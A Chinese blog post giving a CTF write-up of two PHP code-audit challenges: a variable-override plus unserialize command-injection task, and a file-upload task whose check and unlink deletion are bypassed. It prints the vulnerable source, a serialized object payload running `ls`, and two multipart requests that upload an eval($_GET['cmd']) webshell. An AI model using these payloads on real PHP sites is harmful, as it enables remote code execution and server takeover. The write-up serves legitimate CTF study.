美文网首页
上海大学生两道代码审计题目

上海大学生两道代码审计题目

作者: yangc随想 | 来源:发表于2018-11-06 17:47 被阅读0次

放假抽空和同学打了一哈上海大学生的ctf,题目质量一般,脑洞太大,不过有两道代码审计题目还是不错的,同时自己也有好多点没有考虑到,这里记录一哈学习经验。

web2

序列化与反序列化

php所有的值都可以使用serialize()来存储数据,输出一串字符串。
unserialize()将字符串内包含的数据进行返回。
序列化一个对象(类的实例),不会保存类的方法(所以一般情况只能去找类的漏洞)。

魔术方法

PHP 中所有以 __(两个下划线)开头的类方法保留为魔术方法。
常用的魔术方法有

__construct(), __destruct(), __call(), __callStatic(),
 __get(), __set(), __isset(), __unset(), __sleep(),
 __wakeup(), __toString(), __invoke(), __set_state(),
 __clone() 和 __debugInfo()

一些默认情况

序列化一个对象是默认会调用__sleep
反序列化是会调用__wakeup
__construct会在实例化一个对象是被调用
__desturct会在对象不再使用或者程序退出时自动调用
__toString会在对象被当做字符串时使用(特别注意字符串连接符.)
__get会在读取不可访问的属性的值的时候调用
<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

这道题目是2017年百越杯的改版,这里刚开始是经典的$$变量覆盖漏洞,没什么好看的,直接丢paylaod

first=doller&a=var=give%26bbb=me%26ccc=flag

其中一些方法如下

__construct,初始化变量
__wakeup,在反序列化时会自动调用,先将$args进行trim,再进行waf
waf,将正则中的东西替换为空
echo,这里调用系统命令执行$host参数中指定的命令
__destruct,对象销毁时使用,如果传入的对象中有echo方法,就执行call_user_func_array函数,参数为$args

剩下这里就很简单了

$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}

然后

传入参数
unserialize($_GET['come']);

什么都没有发生。
这里参考原因是print_r中的部分不可见字符paylaod输出后进行了改变,手动调整就好。

print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D

即可成功执行
另外也可以手动修改

00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a  O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64  12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31  ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61  0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73  :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d                             `";}}

其中的.在之前的print_r中没有输出,这里修改为%00即可,最后直接给给payload。

?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}

剩下没难度,老套路。


web3

这里记录一哈只因为学到了end和$filename[count($filename) - 1]),unlink绕过方法

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/www/html/sandbox/' . $dir;
    echo mkdir($sandbox);
    echo chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
            echo $filename;
        }
        $ext = end($filename);
        echo "ext1:$ext";
        
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        echo $new_name;

        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
            echo $_;
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

比赛的时候乍一看需要过两关

end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@<?php'  && strpos($_,$new_name)===false

想到了被hitcon的oneline题目,而且第一关没有过去的经验,给吓住了,直接就放弃了。
赛后再看发现这个题目真是太简单了

首先上传一个文件,然后比较
end($filename)==$filename[count($filename) - 1]
也就是后缀名师傅相等
不等就重命名为一个100-999(可爆破)的文件名.ext
而且上传文件的前6个字符需要为@<?php,如果文件名正确的化就直接文件包含输出。
然后删除文件

思路就很简单,需要爆破文件名就一定需要考虑unlink函数的漏洞,或者条件竞争。

至于end(filename)==filename[count($filename) - 1]的漏洞,这里参考了

这里问题出现在如何获取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先,检查有没有POST file,如果有的话,就直接获取file(这里file可以为数组)
如果没有的话,就获取上传的文件名$_FILES['file']['name'];

然后,如果if (!is_array($filename)) ,也就是文件名不是数组话,就.分割
也就是I.am.theKingOfNight会被分割为
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);,也就是获取filename的最后一项,在这里就返回theKingOfNight

而且,针对复合型数组
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在这里取的是theKingOfNight
$filename[count($filename) - 1]在这里取的是file[2],但是不存在这个东西,所以为空

至于unlink函数,这里也是利用了漏洞

本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
在这里同时在自己的请求中上传自己想要上传的文件,在unlink函数之前使程序崩溃,就可以使得程序一直保留文件。

绕过unlink写shell,我参考了这篇程序,当然没有玩玩整整的读完,还是很有难度的

这里使用了一个小trik,也在文章最后给出
/.

万事具备,剩下的东西没什么难度了。
这里给出两个利用的payload,直接从这里偷的

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"

php

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

<?php
    @eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"

php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"

100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

@<?php
    @eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--

当然,如果有什么好的提议或想法也欢迎师傅们多多交流,感激不尽。

参考

https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
https://www.jianshu.com/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17

相关文章

  • 上海大学生两道代码审计题目

    放假抽空和同学打了一哈上海大学生的ctf,题目质量一般,脑洞太大,不过有两道代码审计题目还是不错的,同时自己也有好...

  • 攻防世界-Web-unserialize3

    题目信息: 打开题目环境,得到php代码 审计代码,就是让我们运用__wakeup()函数的漏洞拿flag的。这里...

  • php代码基础入门

    前言: 后面一段时间打算学习代码审计,我之前玩ctf的时候,也会遇到一些代码审计的题目,所以对php代码略略了解一...

  • 基础关-1

    题目:key在哪里? 题目页面 思路:第一步:进行代码审计查看线索 进行提交验证:

  • 攻防世界-Web-NaNNaNNaNNaN-Batmaner

    题目信息: 知识点:js代码(eval函数,alert函数,splice函数),正则,代码审计 下载附件,是一个文...

  • 【代码审计】PHP代码审计

    1. 概述 代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一...

  • 代码审计知识星球——easy-phplimit&phpmagic

    今天把剩下的两道审计题目过一遍 phplimit 实在是令人惊讶,一看到题目就发现居然是自己前几天才整理过的无参R...

  • 代码审计

    代码审计工具 1、三款自动化代码审计工具教程2、seay源代码审计系统 PHP核心配置详解 注意PHP各个版本中配...

  • 🎐代码审计

    ?源代码审计分为白盒、黑盒、灰盒 白盒:拥有源代码进行审计黑盒:不知道源代码的情况下进行渗透审计灰盒:介于黑盒与白...

  • 2021-12-06-java代码审计初步认知

    一、代码审计的定义代码审计是一种以发现安全漏洞,程序错误和程序违规为目标的源代码分析技能。 二、代码审计需要的能力...

网友评论

      本文标题:上海大学生两道代码审计题目

      本文链接:https://www.haomeiwen.com/subject/awlexqtx.html